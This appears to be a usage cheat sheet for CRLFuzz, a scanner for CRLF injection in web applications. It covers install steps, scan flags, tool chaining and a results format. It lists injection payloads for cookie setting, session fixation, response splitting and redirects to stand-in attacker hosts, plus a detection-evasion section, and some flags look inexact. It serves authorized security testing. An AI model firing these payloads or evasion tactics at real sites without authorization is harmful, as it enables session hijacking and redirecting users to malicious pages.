CRLFuzz
Overview
Section intitulée « Overview »CRLFuzz is a lightweight, fast CRLF (Carriage Return Line Feed) injection vulnerability scanner written in Go. It efficiently detects CRLF injection vulnerabilities across web applications by testing parameters and headers against multiple payloads. The tool is ideal for bug bounty hunters and penetration testers conducting security assessments on web applications.
Installation
Section intitulée « Installation »Prerequisites
Section intitulée « Prerequisites »- Go 1.11+ (for building from source)
- Or download precompiled binaries
From Source
Section intitulée « From Source »git clone https://github.com/dwisiswant0/crlfuzz.git
cd crlfuzz
go build -o crlfuzz
macOS/Linux (Binary)
Section intitulée « macOS/Linux (Binary) »wget https://github.com/dwisiswant0/crlfuzz/releases/download/v1.5.0/crlfuzz_1.5.0_linux_amd64.tar.gz
tar -xvf crlfuzz_1.5.0_linux_amd64.tar.gz
chmod +x crlfuzz
Homebrew (macOS)
Section intitulée « Homebrew (macOS) »brew install dwisiswant0/tap/crlfuzz
Download .exe from releases: https://github.com/dwisiswant0/crlfuzz/releases
Basic Usage
Section intitulée « Basic Usage »| Command | Description |
|---|---|
crlfuzz -u <url> | Scan single URL |
crlfuzz -l <file> | Scan URLs from file |
crlfuzz -u <url> -v | Verbose output |
crlfuzz --help | Show help menu |
crlfuzz -u <url> -c 10 | Set concurrency level |
Single URL Scanning
Section intitulée « Single URL Scanning »Basic Scan
Section intitulée « Basic Scan »crlfuzz -u 'http://example.com/?page=test'
With Verbose Output
Section intitulée « With Verbose Output »crlfuzz -u 'http://example.com/?page=test' -v
Show Request/Response Details
Section intitulée « Show Request/Response Details »crlfuzz -u 'http://example.com/?name=value' -v --show-req --show-resp
Batch Scanning
Section intitulée « Batch Scanning »Scan Multiple URLs from File
Section intitulée « Scan Multiple URLs from File »crlfuzz -l urls.txt
Create urls.txt:
http://example.com/?page=test
http://example.com/?user=admin
http://example.com/?id=123
Scan All URLs with Verbose Mode
Section intitulée « Scan All URLs with Verbose Mode »crlfuzz -l urls.txt -v
Output Results to File
Section intitulée « Output Results to File »crlfuzz -l urls.txt -o results.txt
Concurrency and Performance
Section intitulée « Concurrency and Performance »Adjust Concurrency Level
Section intitulée « Adjust Concurrency Level »crlfuzz -l urls.txt -c 25
Default is 10 concurrent requests. Increase for larger scans.
Maximum Concurrency
Section intitulée « Maximum Concurrency »crlfuzz -l urls.txt -c 100
Use cautiously to avoid overwhelming target servers.
Timeout Configuration
Section intitulée « Timeout Configuration »crlfuzz -u 'http://example.com/?test=value' -t 30
Set timeout in seconds (default is 10 seconds).
Payload Configuration
Section intitulée « Payload Configuration »Default Payloads
Section intitulée « Default Payloads »CRLFuzz includes built-in CRLF injection payloads:
%0d%0a (URL-encoded CRLF)
%0d (CR only)
%0a (LF only)
\r\n (Raw CRLF)
Custom Payload File
Section intitulée « Custom Payload File »crlfuzz -u 'http://example.com/?page=test' -payloads custom-payloads.txt
Create custom-payloads.txt:
%0d%0a
%0d%0aSet-Cookie:admin=true
%0d%0aLocation:http://evil.com
%0d%0aX-Injected:value
Test Specific Injection Points
Section intitulée « Test Specific Injection Points »crlfuzz -u 'http://example.com/?param=VALUE' -payloads payloads.txt
CRLFuzz replaces VALUE with each payload.
Header Testing
Section intitulée « Header Testing »Test Custom Headers
Section intitulée « Test Custom Headers »crlfuzz -u 'http://example.com/' -H 'X-Forwarded-For: test' -v
Multiple Custom Headers
Section intitulée « Multiple Custom Headers »crlfuzz -u 'http://example.com/' -H 'User-Agent: test' -H 'X-Custom: value'
Test All Headers
Section intitulée « Test All Headers »crlfuzz -u 'http://example.com/?page=test' --test-headers
Parameter Fuzzing
Section intitulée « Parameter Fuzzing »Scan All Parameters
Section intitulée « Scan All Parameters »crlfuzz -u 'http://example.com/?page=test&user=admin&id=123'
Automatically tests all parameters for CRLF injection.
Focus on Specific Parameter
Section intitulée « Focus on Specific Parameter »crlfuzz -u 'http://example.com/?page=test' -param 'page'
Exclude Parameters from Testing
Section intitulée « Exclude Parameters from Testing »crlfuzz -u 'http://example.com/?page=test&id=123' -skip 'id'
Output Formats
Section intitulée « Output Formats »Default Text Output
Section intitulée « Default Text Output »crlfuzz -u 'http://example.com/?test=value'
Output shows:
- URL
- Vulnerable parameter
- Payload used
- Response status code
JSON Output
Section intitulée « JSON Output »crlfuzz -l urls.txt -o results.json -json
CSV Export
Section intitulée « CSV Export »crlfuzz -l urls.txt -o results.csv -csv
Suppress Output
Section intitulée « Suppress Output »crlfuzz -l urls.txt -q
Quiet mode - only shows results.
Proxy Configuration
Section intitulée « Proxy Configuration »HTTP Proxy
Section intitulée « HTTP Proxy »crlfuzz -u 'http://example.com/?test=value' -proxy http://127.0.0.1:8080
SOCKS5 Proxy
Section intitulée « SOCKS5 Proxy »crlfuzz -u 'http://example.com/?test=value' -socks5 127.0.0.1:1080
Proxy with Authentication
Section intitulée « Proxy with Authentication »crlfuzz -u 'http://example.com/?test=value' -proxy http://user:pass@127.0.0.1:8080
SSL/TLS Options
Section intitulée « SSL/TLS Options »Ignore SSL Certificate Errors
Section intitulée « Ignore SSL Certificate Errors »crlfuzz -u 'https://example.com/?test=value' --insecure
Use Custom CA Certificate
Section intitulée « Use Custom CA Certificate »crlfuzz -u 'https://example.com/?test=value' --ca-cert /path/to/ca.crt
HTTP Methods and Request Customization
Section intitulée « HTTP Methods and Request Customization »Test POST Parameters
Section intitulée « Test POST Parameters »crlfuzz -u 'http://example.com/' -method POST -data 'param=VALUE&user=test'
PUT Request
Section intitulée « PUT Request »crlfuzz -u 'http://example.com/api/resource' -method PUT -data 'field=VALUE'
Custom Request Body
Section intitulée « Custom Request Body »crlfuzz -u 'http://example.com/api' -method POST -data '{"key":"VALUE"}'
Add Request Headers
Section intitulée « Add Request Headers »crlfuzz -u 'http://example.com/?test=VALUE' -H 'Authorization: Bearer token' -H 'Content-Type: application/json'
Response Analysis
Section intitulée « Response Analysis »Show Response Headers
Section intitulée « Show Response Headers »crlfuzz -u 'http://example.com/?test=value' -v --show-resp
Show Response Body
Section intitulée « Show Response Body »crlfuzz -u 'http://example.com/?test=value' -v --show-body
Filter by Status Code
Section intitulée « Filter by Status Code »crlfuzz -l urls.txt --filter-status 200
Only test URLs that return status 200.
Advanced Filtering
Section intitulée « Advanced Filtering »Match Success by Response Content
Section intitulée « Match Success by Response Content »crlfuzz -u 'http://example.com/?test=value' -match 'Set-Cookie'
Consider vulnerability confirmed if response contains “Set-Cookie”.
Filter Responses Containing Text
Section intitulée « Filter Responses Containing Text »crlfuzz -l urls.txt -match 'Location:' -o vulnerable.txt
Rate Limiting
Section intitulée « Rate Limiting »Request Delay (Milliseconds)
Section intitulée « Request Delay (Milliseconds) »crlfuzz -l urls.txt -delay 100
Add 100ms delay between requests.
Requests Per Second
Section intitulée « Requests Per Second »crlfuzz -l urls.txt -rate 10
Limit to 10 requests per second.
Common Workflows
Section intitulée « Common Workflows »Quick Vulnerability Scan
Section intitulée « Quick Vulnerability Scan »crlfuzz -u 'http://example.com/?page=home&user=test'
Comprehensive Bug Bounty Scan
Section intitulée « Comprehensive Bug Bounty Scan »crlfuzz -l target-urls.txt -v --show-req --show-resp -o findings.txt
Stealth Scanning
Section intitulée « Stealth Scanning »crlfuzz -l urls.txt -delay 500 -c 5 --insecure
Large-Scale Assessment
Section intitulée « Large-Scale Assessment »crlfuzz -l thousands-of-urls.txt -c 50 -t 30 -json -o results.json
CRLF Injection Attack Vectors
Section intitulée « CRLF Injection Attack Vectors »Header Injection Attack
Section intitulée « Header Injection Attack »Payload: %0d%0aSet-Cookie:admin=true
Result: Response header contains injected Set-Cookie
Response Splitting
Section intitulée « Response Splitting »Payload: %0d%0a%0d%0aHTTP/1.1 200 OK
Result: Ability to split HTTP response
Session Fixation
Section intitulée « Session Fixation »Payload: %0d%0aSet-Cookie:SESSIONID=attacker-controlled
Result: Force victim session ID
Open Redirect via Headers
Section intitulée « Open Redirect via Headers »Payload: %0d%0aLocation:http://evil.com
Result: Redirect user to malicious site
Cache Poisoning
Section intitulée « Cache Poisoning »Payload: %0d%0aX-Original-URL:/cache-buster
Result: Poison cached responses
Understanding CRLFuzz Output
Section intitulée « Understanding CRLFuzz Output »Example Output
Section intitulée « Example Output »[CRLF] http://example.com/?page=VALUE
[PARAMETER] page
[PAYLOAD] %0d%0aSet-Cookie:admin=true
[STATUS] 200
[FOUND] Yes
Vulnerability Indicators
Section intitulée « Vulnerability Indicators »- Status code change after injection
- Additional headers in response
- Response splitting evidence
- Cookie manipulation detection
Detection Evasion
Section intitulée « Detection Evasion »Randomize User-Agent
Section intitulée « Randomize User-Agent »crlfuzz -u 'http://example.com/?test=value' -H 'User-Agent: Mozilla/5.0 (random)'
Vary Request Patterns
Section intitulée « Vary Request Patterns »crlfuzz -l urls.txt -delay 500 -c 3
Rotate Through Payloads
Section intitulée « Rotate Through Payloads »crlfuzz -u 'http://example.com/?test=value' -payloads rotating-payloads.txt
Troubleshooting
Section intitulée « Troubleshooting »Connection Timeout
Section intitulée « Connection Timeout »crlfuzz -u 'http://slow-server.com/?test=value' -t 60
Increase timeout to 60 seconds.
Too Many Errors
Section intitulée « Too Many Errors »crlfuzz -l urls.txt -c 5 -t 30
Reduce concurrency and increase timeout.
SSL Certificate Issues
Section intitulée « SSL Certificate Issues »crlfuzz -u 'https://example.com/?test=value' --insecure
Bypass SSL verification.
Not Finding Vulnerabilities
Section intitulée « Not Finding Vulnerabilities »crlfuzz -u 'http://example.com/?test=value' -payloads extended-payloads.txt -v
Try with custom payloads and verbose mode.
Best Practices
Section intitulée « Best Practices »- Obtain authorization before scanning production systems
- Start with low concurrency and increase gradually
- Use appropriate timeouts for slow servers
- Test parameters individually for precise results
- Review all findings carefully for false positives
- Combine with other scanners for comprehensive testing
- Keep tool updated for latest payload detection
Payload Examples
Section intitulée « Payload Examples »Basic CRLF
Section intitulée « Basic CRLF »%0d%0a
Header Injection
Section intitulée « Header Injection »%0d%0aX-Injected-Header:value
Cookie Injection
Section intitulée « Cookie Injection »%0d%0aSet-Cookie:name=value
Location Redirect
Section intitulée « Location Redirect »%0d%0aLocation:http://attacker.com
Integration with Other Tools
Section intitulée « Integration with Other Tools »Pipe URLs from httpx
Section intitulée « Pipe URLs from httpx »httpx -l domains.txt | crlfuzz -
With Wayback Machine URLs
Section intitulée « With Wayback Machine URLs »waybackurls example.com | crlfuzz -
Combine with Parameter Fuzzer
Section intitulée « Combine with Parameter Fuzzer »ffuf -w params.txt -u 'http://example.com/?FUZZ=test' | crlfuzz -
Performance Tips
Section intitulée « Performance Tips »- Increase concurrency for large URL lists
- Use shorter timeouts for quick scans
- Test parameters in separate scans if needed
- Monitor CPU and network usage
- Use filtering to reduce false positives
Legal Considerations
Section intitulée « Legal Considerations »CRLFuzz is for authorized security testing only. Always obtain explicit written permission before testing any system. Unauthorized access and scanning is illegal.
Resources
Section intitulée « Resources »- GitHub: https://github.com/dwisiswant0/crlfuzz
- CRLF Injection Guide: https://owasp.org/
- Bug Bounty Resources: https://hackerone.com/
- Community: Active GitHub discussions and issues